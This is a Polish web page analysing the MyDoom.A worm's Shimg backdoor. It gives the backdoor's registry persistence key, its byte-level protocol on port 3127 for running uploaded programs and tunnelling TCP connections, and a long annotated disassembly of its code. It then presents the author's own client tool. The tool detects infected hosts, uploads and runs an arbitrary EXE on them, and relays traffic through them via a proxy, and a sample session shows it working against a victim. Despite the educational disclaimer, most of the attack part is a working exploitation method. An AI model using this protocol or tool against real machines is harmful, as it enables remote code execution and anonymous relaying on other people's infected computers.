Informacje podane na tej stronie mają służyć wyłącznie do celów edukacyjnych. |
Dnia 27 stycznia 2004 dostałem wiele podobnie wyglądających maili od nieznanych nadawców - wszystkie z załącznikami w postaci plików exe. Wkrótce okazało się, że jest to za sprawą wirusa W32.MyDoom.A. Jego działanie zaciekawiło mnie, a to, co o nim ustaliłem, umieściłem na tej stronie..
Koń trojański Shimg (instalowany przez MyDoom.A i mutacje) standardowo nasłuchuje na porcie 3127 (lub wyższe) w oczekiwaniu na jedno z dwu żądań: uruchomienie przesłanego pliku wykonywalnego lub ustanowienie tunelowanego połączenia z trzecim hostem.
Kod serwera jest przechowywany w bibliotece system/shimgapi.dll (4096 bajtów) w katalogu Windows. Wirus dodaje wpis w rejestrze o kluczu: HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32, co powoduje automatyczne ładowanie biblioteki w czasie startu powłoki systemowej Explorer.exe.
Plik wykonywalny, rozsyłany przez wirusa, jest spakowany UPX, podobnie jak biblioteka Shimg. Ponadto wszystkie łańcuchy znaków - szablony maili, komendy SMTP, zmieniane klucze rejestru, omijane adresy... - są zakodowane ROT13. W szczególności, można tam dostrzec pozostawiony tag systemu kontroli rewizji (sync.c,v 0.1 2004/01/xx xx:xx:xx andy) - w pliku dll znajduje się także 884-znakowy ciąg powtarzających się liter SYNC, ale chyba nie jest do niczego wykorzystywany.
Tunelowanie połączeń |
0000000: 0401 0fc8 c0a8 4201 00 474554202f2048 ......B..GET / H ^^1^ ^^2^ ^^^^3^^^^ ^4 ^^^^^^^^5^^^^^ 0000010: 5454 502f 312e 310a 486f 7374 3a20 7777 TTP/1.1.Host: ww 0000020: 772e 6d69 6372 6f73 6f66 742e 636f 6d0a w.microsoft.com. sent 0, rcvd 49 1 -- 2 bajty, żądanie ustanowienia tunelu [\x04\x01] 2 -- 2 bajty, docelowy port w porządku sieciowym 3 -- 4 bajty, docelowy adres IP w porządku sieciowym 4 -- 1 bajt, separator żądania od tunelowanych danych [\x00] 5 -- dane do przesłania ustanowionym tunelem |
Zdalne wykonywanie kodu programu |
0000000: 85 133c9ea2 4d5a900003000000040000 ..<..MZ......... ^1 ^^^^2^^^ ^^^^^^^^^^^3^^^^^^^^^^ 0000010: 00ff ff00 00b8 0000 0000 0000 0040 0000 .............@.. [...] 0000050: 4ccd 2154 6869 7320 7072 6f67 7261 6d20 L.!This program 0000060: 6361 6e6e 6f74 2062 6520 7275 6e20 696e cannot be run in 0000070: 2044 4f53 206d 6f64 652e 0d0d 0a24 0000 DOS mode....$.. 1 -- 1 bajt, żądanie wykonania przesłanego programu [\x85] 2 -- 4 bajty, liczba potwierdzająca [\x13\x3C\x9E\xA2] 3 -- dane zawierające program do uruchomienia |
; Funkcja trojanowania (uruchamianie zapodanej binarki) SUB_L7E1A14D0: push ebp ; mov ebp,esp ; prolog funkcji sub esp,00000664h ; push esi xor esi,esi push edi mov edi,[WSOCK32.dll!WSOCK32.16] ; włożenie &recv do rejestru edi push esi lea eax,[ebp-08h] push 00000001h ; len = 1 push eax push [ebp+08h] mov [ebp-04h],esi call edi ; recv() - wczytanie bajtu \x85 push esi lea eax,[ebp-08h] push 00000004h push eax push [ebp+08h] call edi push [ebp-08h] call [WSOCK32.dll!WSOCK32.14] ; ntohl() cmp eax,133C9EA2h ; mov [ebp-08h],eax ; Kolejne cztery bajty muszą być ,,133C9EA2'' jnz L7E1A1645 ; lea eax,[ebp-00000264h] push eax push 00000104h call [KERNEL32.DLL!GetTempPathA] ; lea eax,[ebp-00000160h] ; push eax ; push esi ; ustalanie tymczasowej ścieżki lea eax,[ebp-00000264h] ; push L7E1A1440 ; push eax ; call [KERNEL32.DLL!GetTempFileNameA] ; push esi push 00000080h push 00000002h push esi push 00000001h lea eax,[ebp-00000160h] push 40000000h push eax ; call [KERNEL32.DLL!CreateFileA] ; Utworzenie pliku cmp eax,esi ; mov [ebp-04h],eax jz L7E1A1642 cmp eax,FFFFFFFFh jz L7E1A1642 push ebx mov ebx,00000400h jmp L7E1A1590 L7E1A157A: lea ecx,[ebp-08h] push esi push ecx push eax lea eax,[ebp-00000664h] push eax push [ebp-04h] ; call [KERNEL32.DLL!WriteFile] ; Wpisanie treści nadesłanego pliku EXE L7E1A1590: ; push esi lea eax,[ebp-00000664h] push ebx push eax push [ebp+08h] call edi cmp eax,esi jg L7E1A157A push [ebp-04h] mov edi,[KERNEL32.DLL!CloseHandle] ; Zamknięcie call edi push 00000044h lea eax,[ebp-5Ch] pop ebx push ebx push esi push eax call SUB_L7E1A1CD0 xor eax,eax mov [ebp-5Ch],ebx inc eax mov dword ptr [ebp-30h],00000087h mov [ebp-40h],eax mov [ebp-44h],eax lea eax,[ebp-00000160h] mov [ebp-48h],esi push eax lea eax,[ebp-00000664h] push SSZ7E1A1438___s_ push eax mov [ebp-4Ch],esi mov [ebp-2Ch],si call [USER32.dll!wsprintfA] add esp,00000018h lea eax,[ebp-18h] push eax lea eax,[ebp-5Ch] push eax push esi push esi ; push esi ; push esi ; push esi ; lea eax,[ebp-00000664h] ; push esi ; push eax ; push esi ; Uruchomienie przysłanego pliku EXE call [KERNEL32.DLL!CreateProcessA] ; test eax,eax ; pop ebx jz L7E1A1645 push FFFFFFFFh push [ebp-18h] call [KERNEL32.DLL!WaitForSingleObject] push [ebp-14h] call edi push [ebp-18h] call edi lea eax,[ebp-00000160h] push eax call [KERNEL32.DLL!DeleteFileA] ; Usunięcie pliku push [ebp+08h] call [WSOCK32.dll!WSOCK32.3] jmp L7E1A1660 L7E1A1642: mov [ebp-04h],esi L7E1A1645: push [ebp+08h] call [WSOCK32.dll!WSOCK32.3] ; closesocket() cmp [ebp-04h],esi jz L7E1A1660 lea eax,[ebp-00000160h] push eax call [KERNEL32.DLL!DeleteFileA] L7E1A1660: pop edi pop esi leave retn ;------------------------------------------------------------------------------ SUB_L7E1A1664: push ebp mov ebp,esp sub esp,0000012Ch push esi push edi xor edi,edi L7E1A1671: lea esi,[ebp+edi-0000012Ch] push 00000000h push 00000001h ; len == 1 push esi ; odłożenie esi - jest w nim wskaźnik na bufor push [ebp+08h] ; deskryptor call [WSOCK32.dll!WSOCK32.16] ; recv() test eax,eax jle L7E1A16BF ; skok gdy recv() <= 0 cmp byte ptr [esi],00h ; czy wczytany bajt to \x00 jz L7E1A1698 ; ...skok, jeśli tak inc edi cmp edi,000000FFh jc L7E1A1671 L7E1A1698: lea eax,[ebp-0000012Ch] push eax call [WSOCK32.dll!WSOCK32.10] ; inet_addr() test eax,eax jz L7E1A16AE ; skok, gdy inet_addr zawiodło cmp eax,FFFFFFFFh jnz L7E1A16CB ; skok, gdy IP != 255.255.255.255 L7E1A16AE: lea eax,[ebp-0000012Ch] push eax call [WSOCK32.dll!WSOCK32.52] ; gethostbyname() test eax,eax jnz L7E1A16C4 ; skok, jeśli gethostbyname() != 0 L7E1A16BF: xor eax,eax inc eax jmp L7E1A16CF L7E1A16C4: mov eax,[eax+0Ch] ;tu jest jakaś zawiła dereferencja mov eax,[eax] ;(pewnie wyłuskanie adresu ze struct hostenv) mov eax,[eax] L7E1A16CB: mov [ebx],eax xor eax,eax L7E1A16CF: pop edi pop esi leave retn ;------------------------------------------------------------------------------ SUB_L7E1A16D3: push ebp mov ebp,esp mov eax,00001104h call SUB_L7E1A1D30 push ebx push esi mov esi,[WSOCK32.dll!WSOCK32.16] ; recv() push edi xor ebx,ebx mov edi,00001000h L7E1A16F0: mov eax,[ebp+08h] xor ecx,ecx inc ecx mov [ebp-00000100h],eax mov [ebp-00000104h],ecx xor eax,eax L7E1A1704: mov edx,[ebp+0Ch] cmp [ebp+eax*4-00000100h],edx jz L7E1A1715 inc eax cmp eax,ecx jc L7E1A1704 L7E1A1715: cmp eax,ecx jnz L7E1A1729 mov [ebp-000000FCh],edx mov dword ptr [ebp-00000104h],00000002h L7E1A1729: push ebx push ebx lea eax,[ebp-00000104h] push ebx push eax push ebx call [WSOCK32.dll!WSOCK32.18] ; select() test eax,eax jle L7E1A17B5 lea eax,[ebp-00000104h] push eax push [ebp+08h] call jmp_WSOCK32.dll!WSOCK32.151 test eax,eax jz L7E1A1775 push ebx lea eax,[ebp-00001104h] push edi push eax push [ebp+08h] call esi cmp eax,ebx jle L7E1A17B5 push ebx push eax lea eax,[ebp-00001104h] push eax push [ebp+0Ch] call [WSOCK32.dll!WSOCK32.19] ; send() L7E1A1775: lea eax,[ebp-00000104h] push eax push [ebp+0Ch] call jmp_WSOCK32.dll!WSOCK32.151 test eax,eax jz L7E1A16F0 push ebx lea eax,[ebp-00001104h] push edi push eax push [ebp+0Ch] call esi cmp eax,ebx jle L7E1A17B5 push ebx push eax lea eax,[ebp-00001104h] push eax push [ebp+08h] call [WSOCK32.dll!WSOCK32.19] ; send() jmp L7E1A16F0 L7E1A17B5: pop edi pop esi pop ebx leave retn ;------------------------------------------------------------------------------ SUB_L7E1A17BA: push ebp ; mov ebp,esp ; prolog funkcji sub esp,00000020h ; or dword ptr [ebp-08h],FFFFFFFFh push esi mov esi,[WSOCK32.dll!WSOCK32.16] ; wstawienie adresu recv() do esi push 00000002h ; Ustawienie flagi MSG_PEEK dla recv() ; [nieblokujące ,,spojrzenie''] lea eax,[ebp-01h] ; obliczenie wskaźnika na bufor push 00000001h ; len == 1 push eax ; bufor push [ebp+08h] ; deskryptor gniazda klienckiego call esi ; recv() cmp eax,00000001h ; jnz L7E1A1908 ; skok na koniec f-kcji, gdy ilość wczytanych bajtów != 1 cmp byte ptr [ebp-01h],85h ; jnz L7E1A17F5 ; skok, gdy bajt != \x85 push [ebp+08h] ; jest \x85, call SUB_L7E1A14D0 ; ...zatem funkcja trojanowania pop ecx jmp L7E1A1908 L7E1A17F5: cmp byte ptr [ebp-01h],04h ; czy jest bajt 0x04 (forwarding) push ebx jnz L7E1A18B7 ; skok gdy bajt to nie 0x04 xor ebx,ebx L7E1A1802: push 00000000h push 00000008h pop eax sub eax,ebx push eax ; wczytać 8 bajtów lea eax,[ebp+ebx-10h] push eax ; adres bufora, dokąd wczytać push [ebp+08h] ; położenie deskryptora gniazda call esi ; recv() test eax,eax jl L7E1A1823 ; czy ret < 0 jz L7E1A1825 ; czy ret == 0 add ebx,eax cmp ebx,00000008h ; czy wczytano 8 jl L7E1A1802 ; ..jeśli mniej, to pętla - wczytywać dalej jmp L7E1A1825 L7E1A1823: mov ebx,eax L7E1A1825: cmp ebx,00000008h ; czy wczytano 8 jnz L7E1A1907 ; skok, jeśli nie 8 jmp L7E1A1836 L7E1A1830: cmp byte ptr [ebp-02h],00h ; porównanie wczytanego bajtu jz L7E1A184A ; ...i skok, jeśli jest on \x00 L7E1A1836: ; wczytanie bajtu z gniazda push 00000000h ; flagi recv lea eax,[ebp-02h] push 00000001h ; len = 1 bajt push eax ; wskaźnik na bufor push [ebp+08h] ; deskryptor call esi ; recv() cmp eax,00000001h jz L7E1A1830 ; skok jeśli wczytano 1 (tyle zamierzano) jmp L7E1A18B7 L7E1A184A: cmp byte ptr [ebp-10h],04h ; sprawdzenie czy pierwszy bajt oktetu to \x04 jnz L7E1A18B7 cmp byte ptr [ebp-0Fh],01h ; sprawdzenie czy następuje \x01 jnz L7E1A18B7 cmp dword ptr [ebp-0Ch],00000000h ; sprawdzenie, czy IP to 0.0.0.0 jz L7E1A187C ; ...skok, jeśli tak push [ebp-0Ch] ; odłożenie wskaźnika na IP na stos call [WSOCK32.dll!WSOCK32.8] ; htonl() - zamiana na porządek sieciowy test eax,FFFFFF00h jnz L7E1A187C ; skok, jeśli adresem było 255.255.255.0 push [ebp+08h] ; odłożenie adresu deskryptora lea ebx,[ebp-0Ch] ; wskaźnik na IP call SUB_L7E1A1664 test eax,eax pop ecx jnz L7E1A18B7 L7E1A187C: mov ax,[ebp-0Eh] ; port docelowy push 00000006h ; 6 to protokół TCP mov [ebp-1Eh],ax ; port mov eax,[ebp-0Ch] ; adres docelowy push 00000001h ; 1 to typ SOCK_STREAM push 00000002h ; 2 to rodzina AF_INET mov word ptr [ebp-20h],0002h mov [ebp-1Ch],eax call [WSOCK32.dll!WSOCK32.23] ; socket() cmp eax,FFFFFFFFh ; czy ret == -1 mov [ebp-08h],eax jz L7E1A18B7 ; ..skok jeśli socket() == -1 lea eax,[ebp-20h] push 00000010h push eax push [ebp-08h] call [WSOCK32.dll!WSOCK32.4] ; connect() - ustanawianie połączenia test eax,eax jz L7E1A18D2 ; skok, jeśli connect() == 0 (poszło OK) L7E1A18B7: ; jest błąd - wysłanie ,,['' push 00000000h lea eax,[ebp-10h] push 00000008h push eax push [ebp+08h] mov byte ptr [ebp-10h],04h mov byte ptr [ebp-0Fh],5Bh ; 5B to kod znaku ,,['' call [WSOCK32.dll!WSOCK32.19] ; send() jmp L7E1A18F8 ; ; Udało się zestawić tunelowane połączenie ; L7E1A18D2: push 00000000h lea eax,[ebp-10h] push 00000008h push eax push [ebp+08h] mov byte ptr [ebp-10h],04h mov byte ptr [ebp-0Fh],5Ah ; 5A to kod znaku ,,Z'' call [WSOCK32.dll!WSOCK32.19] ; send() push [ebp-08h] push [ebp+08h] call SUB_L7E1A16D3 ; obsługa tunelu pop ecx pop ecx L7E1A18F8: cmp dword ptr [ebp-08h],FFFFFFFFh jz L7E1A1907 push [ebp-08h] call [WSOCK32.dll!WSOCK32.3] ; closesocket() L7E1A1907: pop ebx L7E1A1908: push [ebp+08h] call [WSOCK32.dll!WSOCK32.3] ; closesocket() pop esi leave retn ;------------------------------------------------------------------------------ L7E1A1914: push esi mov esi,[KERNEL32.DLL!GetTickCount] push edi xor edi,edi L7E1A191E: push 00000000h ; wskaźnik na struct sockaddr jest NULL push 00000000h ; j.w. ale dla struct addrlen push [esp+14h] ; deskryptor gniazda serwerowego call [WSOCK32.dll!WSOCK32.1] ; accept() test eax,eax jz L7E1A191E ; cmp eax,FFFFFFFFh ; pętla tak długo, gdy accept() == 0 lub -1 jz L7E1A191E ; inc [L7E1A1D70] ; jakiś licznik jednoczesnych połączeń (chyba maks. 3) push eax call SUB_L7E1A17BA ; funkcja obsługi ,,klienta'' dec [L7E1A1D70] ; dekrementacja licznika pop ecx call esi sub eax,edi cmp eax,00000014h jnc L7E1A1959 push 00000032h call [KERNEL32.DLL!Sleep] L7E1A1959: call esi mov edi,eax jmp L7E1A191E ; wykonywanie tego wszystkiego w pętli SUB_L7E1A195F: mov eax,[esp+04h] jmp L7E1A196C L7E1A1965: cmp cl,[esp+08h] jz L7E1A1972 inc eax L7E1A196C: mov cl,[eax] test cl,cl jnz L7E1A1965 L7E1A1972: mov cl,[eax] sub cl,[esp+08h] neg cl sbb ecx,ecx not ecx and eax,ecx retn
*--------* *----------* *------>------------------->| Victim | ---->------->| Internet | | *------>| | | *----------* | | *--------* | *-------------------* *-----------* *-------* *-->| www.microsoft.com | | Psotnik |----->--->| Proxy | *---------* *-------------------* | |<-* *-------* *--| Klienci | *-----------* | | *---------* *------<---------<--*
Program umożliwia wykrycie Shimg, uruchomienie dowolnego programu na atakowanym systemie, a także zestawienie połączenia z dowolnym adresem (w protokole TCP/IP) za pośrednictwem zainfekowanego komputera. Opcjonalnie wszystkie działania mogą być przeprowadzane przez serwer proxy, który musi udostępniać metodę CONNECT. Program może wyczekiwać na wybranym porcie na połączenia klientów i automatycznie zestawiać połączenie przez zainfekowany system.
Argumenty linii poleceń:./MyDoom [-t] [[-l <adres[:port]>] -f <Adres_Docelowy[:port]>] [-p <Proxy[:port]>] [-r <Plik.exe>] <Cel_Ataku[:port]> -t Sprawdzenie, czy w podanej lokalizacji działa trojan MyDoom (shimg) -f Zestawienie tunelowanego połączenia z Adresem_Docelowym (forwarding) -r Uruchomienie podanego <Pliku.exe> na atakowanym komputerze -p Wykonywanie wszyskich działań przez proxy (metoda CONNECT) -l Nasłuchiwanie na porcie w celu tunelowaniaKod programu można pobrać tutaj:
A to wszystko działa mniej więcej tak... |
$ ./MyDoom -p PROX -r code.exe -l ox2:50881 -f www.ibm.com:80 -t <VVV.VVV.VVV.VVV> -------------------------------------------------- **** klient MyDoom.c (shimg) ***** **** nie 01 lut 2004 21:27:20 CET ***** **** Robert Nowotniak <rob@submarine.ath.cx> ***** -------------------------------------------------- *** Program _WYŁĄCZNIE_ do celów edukacyjnych. *** -------------------------------------------------- [i] Nazwa PROX wskazuje na adres <PPP.PPP.PPP.PPP> [*] Sprawdzanie dostępności portu 3127 na serwerze <VVV.VVV.VVV.VVV>... [i] Łączenie z proxy... [i] Serwer proxy ustanowił połączenie. [i] Odpowiedź od serwera: [i] 0x4 0x5B 0x0 0x0 0x0 0x0 0x0 0x0 [!] W podanym położeniu działa trojan MyDoom (shimg). [*] Wysyłanie pliku (code.exe) do uruchomienia przez trojana... [!] OK. Plik został przesłany na podany adres. [i] Nazwa ox2 wskazuje na adres <AAA.AAA.AAA.AAA> [*] Oczekiwanie na połączenie klienta... [i] Nadeszło połączenie z <KKK.KKK.KKK.KKK>:33091... [i] Nazwa www.ibm.com wskazuje na adres 129.42.16.99 [*] Ustanawianie połączenia z 129.42.16.99:80 poprzez <VVV.VVV.VVV.VVV>:3127... [i] Łączenie z proxy... [i] Serwer proxy ustanowił połączenie. [!] Trojan Shimg odpowiedział, że nawiązał połączenie. ox2 [AAA.AAA.AAA.AAA] 50881 (?) open HEAD / HTTP/1.1 Host: www.ibm.com HTTP/1.1 302 Found Date: Mon, 09 Feb 2004 20:25:47 GMT Server: IBM_HTTP_SERVER/1.3.26 Apache/1.3.26 (Unix) Location: http://www.ibm.com/us/ Content-Type: text/html sent 35, rcvd 172 [*] Połączenie zostało zamknięte. $ _ |